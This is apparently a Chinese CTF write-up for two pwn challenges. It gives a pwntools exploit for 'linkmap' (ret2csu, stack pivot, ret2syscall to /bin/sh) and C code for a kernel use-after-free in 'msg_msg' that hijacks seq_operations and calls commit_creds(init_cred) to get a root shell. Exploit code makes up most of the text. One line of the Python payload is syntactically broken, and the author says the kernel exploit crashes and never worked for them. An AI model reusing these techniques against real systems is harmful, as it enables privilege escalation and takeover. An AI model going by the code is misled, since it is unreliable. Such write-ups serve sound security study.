linkmap
考点: 栈溢出+ret2csu+栈迁移
保护: 开了 Full RELRO 和 NX, 所以这里不能打 ret2dl
题目给了一些有用的函数:
在这个函数中, 我们可以把一个地址的数据存放到 BSS 段上.
漏洞利用
可以把一个 libc 地址比如 read@got 读取到 bss 上, 然后在修改其为 syscall. 后面就是栈迁移然后打 ret2syscall. 其中 rdx/rsi/rdi 通过 csu 都是可以控制的, 但是 rax 没有办法直接控制, 这里采用的方式是利用 read 函数的返回值去构造 rax = 0x3b.
exp 如下:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b''
#gdb.attach(io, 'b *0x000000000040076D')
pop_rdi = 0x00000000004007e3 # pop rdi ; ret
pop_rsi_r15 = 0x00000000004007e1 # pop rsi ; pop r15 ; ret
csu_f = 0x00000000004007DA
csu_e = 0x00000000004007C0
magic_func = 0x0000000000400606
read_got = 0x0000000000600FD8
leave_ret = 0x0000000000400712 # leave ; ret
call_read = 0x000000000040075E
def csu(call_func, rdi, rsi, rdx, ret_addr, rbp=0, flag=True):
pay = p64(0) + p64(1)
pay += p64(call_func) + p64(rdx) + p64(rsi) + p64(rdi) + p64(csu_e)
pay += p64(0)*2 + p64(rbp) + p64(0)*4
if flag:
pay += p64(ret_addr)
return pay
stack = 0x601050
pay = b'A'*0x10 + p64(0) + p64(csu_f) + csu(read_got, 0, stack, 0x100, leave_ret, stack-0x8)
info("pay len", len(pay))
sleep(0.1)
sd(pay)
pay = p64(pop_rdi) + p64(read_got) + p64(pop_rsi_r15) + p64(1)*2 + p64(magic_func)
pay += p64(csu_f) + csu(read_got, 0, 0x601028+0x100*8, 0x300, pop_rsi_r15, 0x601010) + p64(0x601020-0x8) + p64(0) + p64)
#pause()
sleep(0.1)
sd(pay)
#pause()
sleep(0.1)
sd(b'\xd0')
#pause()
# ==========
# 这个 pay 也行
#pay = p64(csu_f) + csu(read_got, 0, 0x601028+0x100*8+0x8, 0x3b, pop_rsi_r15, 0, False)
#pay += p64(csu_f) + csu(0x601028+0x100*8, 0x601028+0x100*8+0x8, 0, 0, 0)
# ==========
# 利用 read 函数构造 rax = 0x3b
pay = p64(csu_f) + p64(0) + p64(1)
pay += p64(read_got) + p64(0x3b) + p64(0x601028+0x100*8+8) + p64(0) + p64(csu_e)
pay += p64(0)*2 + p64(1)
pay += p64(0x601028+0x100*8) + p64(0)*2 + p64(0x601028+0x100*8+8) + p64(csu_e)
info("pay len", len(pay))
sleep(0.1)
sd(pay)
#pause()
sleep(0.1)
sd(b'/bin/sh'.ljust(0x3b, b'\x00'))
#debug()
sh()
msg_msg
吐槽: 真是🤮🤮了, 一样的 exp, 我的打不通, 拿网上的妙通. 什么鬼啊, 操, 害我调了一下午, 4个多小时.
在非预期下算是一道入门题, 题目给了源码, 跟 babydriver 一样 close 时没有将指针置空导致 UAF.
UAF 堆块的大小为 0x32, 所以这里直接选择劫持 seq_operations, 最后打 pt_regs:) 难道pt_regs设置了偏移??? 但是拿网上的脚本没问题啊, 下面是我写的, 一直报段错误, 醉了.
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <ctype.h>
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
#define MMSG_ALLOC 0x1111111
#define MMSG_COPY 0x2222222
#define MMSG_RECV 0x3333333
#define MMSG_UPDATE 0x4444444
#define MMSG_PUT_DESC 0x5555555
#define MMSG_GET_DESC 0x6666666
struct mmsg_arg {
unsigned long token;
int top;
int size;
char *data;
};
void set_desc(int fd, char* buf)
{
struct mmsg_arg arg = { .data = buf };
ioctl(fd, MMSG_PUT_DESC, &arg);
}
void get_desc(int fd, char* buf)
{
struct mmsg_arg arg = { .data = buf };
ioctl(fd, MMSG_GET_DESC, &arg);
}
size_t kernel_offset;
static size_t pop_rdi = 0xffffffff8144a9cd;
static size_t init_cred = 0xffffffff8264c9a0;
static size_t commit_creds = 0xffffffff8108d350;
static size_t add_rsp = 0xFFFFFFFF81909B8C;
static size_t swapgs_kpti = 0xFFFFFFFF81C00E54;
int main(int argc, char** argv, char** env)
{
char buf[0x100] = { 0 };
int fd[2];
for (int i = 0; i < 2; i++)
{
fd[i] = open("/dev/mmsg", O_RDWR);
if (fd[i] < 0) err_exit("FAILED ot open dev file");
}
close(fd[0]);
int seq_fd = open("/proc/self/stat", O_RDONLY);
if (seq_fd < 0) err_exit("FAILED to open seq file");
get_desc(fd[1], buf);
binary_dump("Leak data", buf, 0x20);
kernel_offset = *(uint64_t*)buf - 0xffffffff8120fac0;
hexx("kernel_offset", kernel_offset);
pop_rdi += kernel_offset;
init_cred += kernel_offset;
commit_creds += kernel_offset;
add_rsp += kernel_offset;
swapgs_kpti += kernel_offset;
*(uint64_t*)buf = add_rsp;
binary_dump("Write data", buf, 0x20);
set_desc(fd[1], buf);
__asm__(
"mov r14, pop_rdi;"
"mov r13, init_cred;"
"mov r12, commit_creds;"
"mov rbp, swapgs_kpti;"
);
read(seq_fd, buf, 8);
hexx("UID", getuid());
system("/bin/sh");
return 0;
}
效果如下: 不想搞了, 跟 babydriver 一样的, 别人能通, 我不行, 哎, 浪费4个小时